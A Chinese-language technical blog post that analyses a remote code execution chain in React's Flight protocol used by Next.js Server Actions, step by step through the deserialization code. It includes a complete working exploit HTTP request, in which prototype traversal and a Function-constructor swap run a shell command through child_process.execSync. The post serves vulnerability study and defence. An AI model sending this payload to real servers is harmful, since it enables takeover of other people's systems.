深入探究 React 史上最大安全漏洞

2,009 阅读8分钟

Next.js Server Actions RCE 漏洞分析

摘要

本文档深入分析了 React Flight 协议(React Server Actions 的底层协议)中的一个远程代码执行 (RCE) 漏洞。该利用链串联了三个关键漏洞

  1. 引用解析中的未过滤路径遍历(可访问 __proto__constructor)。
  2. 伪造 Chunk 注入 —— 将精心构造的对象伪装成内部 Chunk 对象处理。
  3. Function 构造函数注入 —— 将 _formData.get 方法替换为 Function 构造函数。

目录

  1. React Server Actions 简介
  2. React Flight 协议
  3. Payload 反序列化深度解析
  4. Payload 详情
  5. 详细代码路径分析
  6. 漏洞利用流程可视化
  7. 根因总结

React Server Actions 简介

什么是 Server Actions?

React Server Actions 是 React 18 引入并完全集成在 Next.js 13+ App Router 中的一项功能。它允许开发者定义服务端函数,并在客户端组件中直接调用,而无需显式创建 API 路由。

// app/actions.js
'use server'

export async function submitForm(formData) {
  const name = formData.get('name')
  await db.users.create({ name })
  return { success: true }
}
// app/page.jsx
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  )
}

Server Actions 的工作原理

当 Server Action 被调用时:

┌─────────────────────────────────────────────────────────────────────────────┐
│                        SERVER ACTION 流程                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   客户端 (Client)                  网络 (Network)              服务端 (Server) │
│   ──────                           ───────                      ──────      │
│                                                                             │
│   1. 用户提交表单                                                             │
│          │                                                                  │
│          ▼                                                                  │
│   2. React 使用 Flight                                                       │
│      协议序列化参数               POST /                                      │
│                                   multipart/form-data       3. Next.js 接收  │
│   ─────────────────────────────►  Next-Action: <id>              请求        │
│                                                                  │          │
│                                                                  ▼          │
│                                                           4. 使用 Flight     │
│                                                              反序列化参数     │
│                                                                  │          │
│                                                                  ▼          │
│                                                           5. 执行            │
│   7. React 根据结果     ◄─────────────────────────────       Server Action   │
│      更新 UI                  Flight 编码的响应                   │           │
│                                                                  ▼          │
│                                                           6. 序列化返回值     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Next-Action 标头

当调用 Server Action 时,Next.js 会发送一个带有特殊标头的 POST 请求:

POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef        ← Server Action 标识符
Next-Router-State-Tree: ...          ← 客户端路由状态

Next-Action 标头告知服务器执行哪个已注册的函数。请求体包含序列化后的参数。


React Flight 协议

概述

Flight 协议 是 React 的自定义序列化格式,用于在服务端和客户端之间传输 React 组件树和数据。它旨在处理:

  • React 元素和组件
  • Promise 和异步数据
  • 循环引用
  • 二进制数据 (Blobs, TypedArrays)
  • 服务端引用 (在服务端运行的函数)

Flight 协议架构

┌─────────────────────────────────────────────────────────────────────────────┐
│                         FLIGHT 协议层级                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     应用层 (Application Layer)                       │   │
│   │   Server Actions, React Server Components, 数据获取                  │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                    序列化层 (Serialization Layer)                    │   │
│   │                                                                     │   │
│   │   ReactFlightServer.js (服务端 → 客户端 编码)                         │   │
│   │   ReactFlightClient.js (客户端 → 服务端 解码)                         │   │
│   │   ReactFlightReplyServer.js (客户端 → 服务端 回复解码) ← 漏洞所在       │   │
│   │   ReactFlightReplyClient.js (服务端 → 客户端 回复编码)                 │   │
│   │                                                                     │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     传输层 (Transport Layer)                         │   │
│   │   multipart/form-data, ReadableStream, fetch()                      │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Flight 引用类型

Flight 协议使用 $ 前缀的字符串 来编码纯 JSON 无法表示的特殊值:

前缀类型示例描述
$$转义 $"$$hello""$hello"$ 开头的字面量字符串
$@Promise/Chunk"$@0"引用 Chunk ID 0
$F服务端引用"$F0"服务端函数引用
$T临时引用"$T"不透明的临时引用
$QMap"$Q0"位于 Chunk 0 的 Map 对象
$WSet"$W0"位于 Chunk 0 的 Set 对象
$KFormData"$K0"位于 Chunk 0 的 FormData
$BBlob"$B0"位于 Chunk 0 的 Blob
$nBigInt"$n123"BigInt 值
$DDate"$D2024-01-01"Date 对象
$NNaN"$N"NaN 值
$IInfinity"$I"无穷大
$--Infinity/-0"$-I""$-0"负无穷或负零
$uundefined"$u"undefined 值
$RReadableStream"$R0"ReadableStream
$0-9a-fChunk 引用"$1", "$a"通过十六进制 ID 引用 Chunk

基于 Chunk 的架构

Flight 将数据组织成 Chunks (块) —— 可以相互引用的离散单元:

┌────────────────────────────────────────────────────────────────────────────┐
│                           CHUNK 结构                                       │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│   FormData 字段:                                                           │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Field "0":  '{"name": "John", "ref": "$1"}'     ← Chunk 0       │     │
│   │  Field "1":  '{"address": "123 Main St"}'        ← Chunk 1       │     │
│   │  Field "2":  '"$@0"'                             ← Chunk 2       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
│   解析结果:                                                                 │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Chunk 0: {name: "John", ref: → Chunk 1}                         │     │
│   │  Chunk 1: {address: "123 Main St"}                               │     │
│   │  Chunk 2: Promise<Chunk 0>                                       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

Chunk 对象(内部实现)

在 React 内部,Chunk 被表示为具有类似 Promise 行为的对象:

// 摘自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
  this.value = value;        // 实际数据或挂起的监听器
  this.reason = reason;      // 错误原因或 Chunk ID
  this._response = response; // 父级 Response 对象
}

// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };

基于路径的引用(漏洞点)

Flight 支持使用冒号分隔的路径进行嵌套属性访问

"$0:users:0:name"
   │  │    │  │
   │  │    │  └── 属性 "name"
   │  │    └───── 数组索引 0
   │  └────────── 属性 "users"
   └───────────── Chunk ID 0

解析过程:

// 摘自 getOutlinedModel() - 602-616行
const path = reference.split(':');  // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);   // 0
const chunk = getChunk(response, id);

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 遍历: value["users"]["0"]["name"]
}

🔴 漏洞所在: 对属性名称没有任何验证,允许:

  • $0:__proto__:then - 访问原型链
  • $0:constructor:constructor - 访问 Function 构造函数

Payload 反序列化深度解析

本节将逐步追踪恶意 Payload 是如何被反序列化的。 点击查看详细的代码路径分析。

步骤 1: 接收 HTTP 请求

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

步骤 2: FormData 解析

Next.js 将 multipart body 解析为 FormData 对象:

// 概念性表示
formData = {
  "0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
  "1": '"$@0"',
  "2": '[]'
}

步骤 3: Response 对象创建

// ReactFlightActionServer.js:62-67
const actionResponse = createResponse(
  serverManifest,
  formFieldPrefix,    // 例如 "" 或 "$ACTION_0:"
  undefined,          // temporaryReferences
  body,               // FormData
);

// 创建 Response 对象 (ReactFlightReplyServer.js:1091-1108)
response = {
  _bundlerConfig: serverManifest,
  _prefix: formFieldPrefix,      // 用于在 FormData 中查找 Chunk
  _formData: body,               // 原始 FormData
  _chunks: new Map(),            // 解析后的 Chunk 缓存
  _closed: false,
  _temporaryReferences: undefined,
}

步骤 4: 获取 Root Chunk

// ReactFlightActionServer.js:69-72
const refPromise = getRoot(actionResponse);

// getRoot 返回 chunk 0 (ReactFlightReplyServer.js:177-180)
function getRoot(response) {
  const chunk = getChunk(response, 0);  // 获取 ID 为 0 的 Chunk
  return chunk;  // 作为 Thenable 返回 (具有 .then 方法)
}

步骤 5: 从 FormData 查找 Chunk

// getChunk (ReactFlightReplyServer.js:518-540)
function getChunk(response, id) {
  const chunks = response._chunks;
  let chunk = chunks.get(id);

  if (!chunk) {
    const prefix = response._prefix;
    const key = prefix + id;                        // "" + "0" = "0"
    const backingEntry = response._formData.get(key);  // 获取字段 "0"

    if (backingEntry != null) {
      // 从 JSON 字符串创建 Chunk
      chunk = createResolvedModelChunk(response, backingEntry, id);
      // chunk.status = 'resolved_model'
      // chunk.value = '{"then":"$1:__proto__:then",...}'
      // chunk._response = response
    }
    chunks.set(id, chunk);
  }
  return chunk;
}

步骤 6: 通过 .then() 强制解析

// ReactFlightActionServer.js:75
refPromise.then(() => {});  // 触发 Chunk.prototype.then

步骤 7: Chunk.prototype.then 执行

// ReactFlightReplyServer.js:127-165
Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;

  switch (chunk.status) {
    case 'resolved_model':          // 我们的 Chunk 匹配这个状态!
      initializeModelChunk(chunk);  // 解析 JSON
      break;
  }

  switch (chunk.status) {
    case 'fulfilled':
      resolve(chunk.value);         // 返回解析后的值
      break;
  }
}

步骤 8: Model 初始化 (JSON 解析)

// initializeModelChunk (ReactFlightReplyServer.js:446-501)
function initializeModelChunk(chunk) {
  const resolvedModel = chunk.value;
  // = '{"then":"$1:__proto__:then","status":"resolved_model",...}'

  const rawModel = JSON.parse(resolvedModel);
  // = {then: "$1:__proto__:then", status: "resolved_model", ...}

  const value = reviveModel(
    chunk._response,      // Response 对象
    {'': rawModel},       // 包装对象
    '',                   // Key
    rawModel,             // 解析后的 JSON
    rootReference         // 引用路径
  );
}

步骤 9: 递归还原 (处理属性)

// reviveModel (ReactFlightReplyServer.js:386-442)
function reviveModel(response, parentObj, parentKey, value, reference) {
  if (typeof value === 'string') {
    // 处理 $ 前缀的特殊值
    return parseModelString(response, parentObj, parentKey, value, reference);
  }

  if (typeof value === 'object' && value !== null) {
    // 递归处理所有属性
    for (const key in value) {
      const newValue = reviveModel(
        response, value, key, value[key], childRef
      );
      value[key] = newValue;  // 替换为解析后的值
    }
  }
  return value;
}

步骤 10: 处理 $1:__proto__:then

当还原值为 "$1:__proto__:then"then 属性时:

// parseModelString (ReactFlightReplyServer.js:916-1089)
function parseModelString(response, obj, key, value, reference) {
  if (value[0] === '$') {
    // ... 各种 $X 情况 ...

    // 默认: 视为带路径的 Chunk 引用
    const ref = value.slice(1);  // "1:__proto__:then"
    return getOutlinedModel(response, ref, obj, key, createModel);
  }
}

步骤 11: 路径遍历 (漏洞核心)

// getOutlinedModel (ReactFlightReplyServer.js:595-638)
function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);   // 1
  const chunk = getChunk(response, id);  // 获取 Chunk 1

  // Chunk 1 包含 "$@0" - 一个指向 Chunk 0 的引用
  // 解析后,chunk1.value = chunk0 (Chunk 对象本身)

  switch (chunk.status) {
    case 'fulfilled':
      let value = chunk.value;        // Chunk 0 的 Chunk 对象

      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];       // 🔴 没有净化处理!
      }
      // path[1] = "__proto__"  →  value = Chunk.prototype
      // path[2] = "then"       →  value = Chunk.prototype.then (FUNCTION!)

      return map(response, value);    // 返回 .then 函数
  }
}

步骤 12: 反序列化结果

处理完毕后,Payload 对象变为:

{
  then: Chunk.prototype.then,  // 🔴 窃取的函数!
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('say haha');",
    _chunks: Map,              // 来自 $Q2
    _formData: {
      get: Function            // 🔴 FUNCTION 构造函数! (来自 $1:constructor:constructor)
    }
  }
}

反序列化流程图解

┌─────────────────────────────────────────────────────────────────────────────┐
│                       反序列化流程 (DESERIALIZATION FLOW)                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   HTTP 请求                                                                 │
│        │                                                                    │
│        ▼                                                                    │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │ FormData 解析                                                       │   │
│   │   "0" → '{"then":"$1:__proto__:then",...}'                          │   │
│   │   "1" → '"$@0"'                                                     │   │
│   │   "2" → '[]'                                                        │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ createResponse()                                                     │  │
│   │   response._formData = FormData                                      │  │
│   │   response._chunks = Map()                                           │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ getRoot() → getChunk(response, 0)                                    │  │
│   │   从字段 "0" 创建 ResolvedModelChunk                                  │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ chunk.then(() => {})   ← 触发点                                      │  │
│   │   └── initializeModelChunk(chunk)                                    │  │
│   │         └── JSON.parse(chunk.value)                                  │  │
│   │         └── reviveModel(response, {...}, ...)                        │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ reviveModel() - 遍历每个属性:                                         │  │
│   │                                                                      │  │
│   │   "then": "$1:__proto__:then"                                        │  │
│   │      └── parseModelString()                                          │  │
│   │            └── getOutlinedModel("1:__proto__:then")                  │  │
│   │                  └── path = ["1", "__proto__", "then"]               │  │
│   │                  └── chunk1 = getChunk(1)  // "$@0" → chunk0         │  │
│   │                  └── value = chunk0["__proto__"]["then"]             │  │
│   │                  └── 返回 Chunk.prototype.then  🔴                   │  │
│   │                                                                      │  │
│   │   "_formData.get": "$1:constructor:constructor"                      │  │
│   │      └── path = ["1", "constructor", "constructor"]                  │  │
│   │      └── value = Object.constructor = Function  🔴                   │  │
│   │                                                                      │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ 结果: 包含以下内容的恶意对象:                                          │  │
│   │   - then = Chunk.prototype.then (使其变为 thenable)                  │  │
│   │   - _response._formData.get = Function 构造函数                      │  │
│   │   - _response._prefix = 恶意代码字符串                                │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Payload 详情

POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 结构拆解

字段目的
0主 JSON Payload带有恶意 _response 的伪造 Chunk 对象
1"$@0"Promise 引用,创建循环依赖
2[]空数组,用于 Map 引用的占位符

主 Payload 对象

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

详细代码路径分析

阶段 1: 入口点

文件: packages/react-server/src/ReactFlightActionServer.js

POST / → decodeAction() → decodeBoundActionMetaData()
                              ↓
                         createResponse(serverManifest, formFieldPrefix, undefined, body)
                              ↓
                         getRoot(actionResponse)  // 返回 Chunk 0 (作为 thenable)
                              ↓
                         refPromise.then(() => {})  // 第 75 行 - 强制解析

代码 (56-81 行):

function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
  const actionResponse = createResponse(
    serverManifest,
    formFieldPrefix,
    undefined,
    body,
  );
  close(actionResponse);
  const refPromise = getRoot(actionResponse);

  // 强制初始化
  refPromise.then(() => {});  // ← 触发点 (TRIGGER POINT)

  if (refPromise.status !== 'fulfilled') {
    throw refPromise.reason;
  }
  return refPromise.value;
}

第 75 行,对 Root Chunk 调用 .then(),触发了整个利用链。


阶段 2: Chunk 解析与原型链访问

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (127-143 行):

Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);  // 第 137 行 - 触发解析
      break;
  }
  // 初始化后状态可能已改变
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);  // 第 143 行 - 将值传递给 Promise 链
      break;
    // ...
  }
}

当 Chunk 0(包含 Payload)被解析时:

  1. initializeModelChunk 解析 JSON。
  2. reviveModel 递归处理所有属性。

阶段 3: 关键漏洞 —— 路径遍历

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (595-616 行):

function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // "1:__proto__:then" → ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

  // ... chunk 初始化 ...

  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];  // 614-615 行: 没有净化处理!
      }
      return map(response, value);
  }
}
漏洞分析

冒号分隔的路径允许访问 任何 属性,包括:

  • __proto__ - 访问原型链
  • constructor - 访问构造函数

这里没有任何验证来阻止危险的属性访问。


阶段 4: 窃取 Chunk.prototype.then

$1:__proto__:then 被解析时:

$1:__proto__:then
    ↓
path = ["1", "__proto__", "then"]
    ↓
chunk1 = getChunk(response, 1)  // 包含 "$@0"
    ↓
"$@0" 解析为 chunk0 (Chunk 对象本身)
    ↓
value = chunk0["__proto__"]     // = Chunk.prototype (继承自 Promise.prototype)
    ↓
value = value["then"]           // = Chunk.prototype.then 函数

结果: Payload 的 then 属性现在持有了 Chunk.prototype.then,使该 Payload 对象变为了一个 Thenable 对象。


阶段 5: 获取 Function 构造函数

$1:constructor:constructor 被解析时:

$1:constructor:constructor
    ↓
path = ["1", "constructor", "constructor"]
    ↓
chunk1.value = chunk0 (解析后的对象)
    ↓
value = chunk0["constructor"]    // = Object
    ↓
value = Object["constructor"]    // = Function 构造函数

结果: _formData.get 属性变成了 Function 构造函数


阶段 6: 伪造 Chunk 被视为真实 Chunk

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (135-137 行):

switch (chunk.status) {
  case RESOLVED_MODEL:         // Payload 具有 status: "resolved_model"
    initializeModelChunk(chunk);  // 使用 PAYLOAD 作为 "chunk" 调用!

Payload 完美地模仿了 Chunk 的结构:

Chunk 属性Payload 值目的
status"resolved_model"匹配 RESOLVED_MODEL 常量
value"{\"then\":\"$B1337\"}"待解析的内部 Payload
reason-1模仿 Chunk ID
_response{...malicious...}注入的恶意 Response 对象

阶段 7: 恶意 Response 对象注入

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (446-474 行):

function initializeModelChunk(chunk) {
  // ...
  const resolvedModel = chunk.value;     // = "{\"then\":\"$B1337\"}"
  // ...
  const rawModel = JSON.parse(resolvedModel);

  const value = reviveModel(
    chunk._response,  // ← 使用伪造的 _response!
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
}

伪造的 _response 包含:

{
  "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
  "_formData": {"get": Function}  // 已经解析为 Function 构造函数!
}

关键问题: 没有验证 chunk._response 是否为合法的 Response 对象。


阶段 8: 通过 $B 引用执行代码

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (1059-1067 行):

case 'B': {  // Blob 引用
  const id = parseInt(value.slice(2), 16);  // 0x1337 = 4919
  const prefix = response._prefix;           // 恶意代码字符串
  const blobKey = prefix + id;               // "process.mainModule...execSync('say haha');4919"

  const backingEntry = response._formData.get(blobKey);  // Function(blobKey)!
  return backingEntry;
}
执行流程
response._formData.get(blobKey)
    ↓
// _formData.get 已经被替换为 Function 构造函数
Function("process.mainModule.require('child_process').execSync('say haha');4919")
    ↓
// 返回一个匿名函数,函数体为:
function anonymous() {
  process.mainModule.require('child_process').execSync('say haha');
  4919
}

阶段 9: 最终触发 —— RCE

返回的 Function 对象变成了内部对象 {then: <Function>}then 属性。

当 Promise 解析遇到这个 Thenable 对象时:

// JavaScript Promise 内部机制:
if (typeof value.then === 'function') {
  value.then(resolve, reject);  // 调用恶意函数!
}

调用该函数将执行:

process.mainModule.require('child_process').execSync('say haha')

🔴 RCE 达成。


漏洞利用流程可视化

┌───────────────────────────────────────────────────────────────────────┐
│                         PAYLOAD 结构                                  │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": {                                                          │
│   "then": "$1:__proto__:then",     ──────► 窃取 Chunk.prototype.then  │
│   "status": "resolved_model",       ──────► 模仿 Chunk                │
│   "value": "{\"then\":\"$B1337\"}", ──────► 内部 Payload              │
│   "_response": {                                                      │
│     "_prefix": "execSync('say haha');",  ──► 待执行代码                │
│     "_formData": {"get": "$1:constructor:constructor"}  ──► Function  │
│   }                                                                   │
│ }                                                                     │
│                                                                       │
│ Field "1": "$@0"   ──────► 创建指向 Field 0 的循环引用                 │
│ Field "2": "[]"    ──────► 空数组占位符                               │
└───────────────────────────────────────────────────────────────────────┘

                              ▼

┌─────────────────────────────────────────────────────────────────────┐
│                         利用链 (EXPLOITATION CHAIN)                  │
├─────────────────────────────────────────────────────────────────────┤
│  1. 服务端收到带有 Next-Action 标头的 POST 请求                         │
│  2. decodeAction() → getRoot() → 调用 .then() (第 75 行)             │
│  3. $1:__proto__:then → 窃取 Chunk.prototype.then                   │
│  4. $1:constructor:constructor → 获取 Function 构造函数              │
│  5. Payload 对象变为 Thenable (拥有 .then 方法)                       │
│  6. Promise 解析 Payload → 视为 Chunk 处理 → initializeModelChunk    │
│  7. 使用带有恶意 _prefix 和 _formData.get 的伪造 _response            │
│  8. $B1337 → Function("malicious code") 被调用                      │
│  9. 返回的函数被用作 .then() → 被执行                                  │
│ 10. RCE: process.mainModule.require('child_process').execSync()     │
└─────────────────────────────────────────────────────────────────────┘

根因总结

位置行号漏洞
ReactFlightReplyServer.js614-615未经净化的属性路径遍历允许访问 __proto__constructor
ReactFlightReplyServer.js137具有匹配 status 属性的伪造对象被当作真实 Chunk 处理
ReactFlightReplyServer.js468-474使用 chunk._response 时未验证其是否为合法的 Response 对象
ReactFlightReplyServer.js1066调用 _formData.get() 时未验证其是否为真实的 FormData 方法

免责声明

本分析仅供教育和防御性安全目的使用。提供这些信息是为了帮助理解、检测和防止此类漏洞的利用。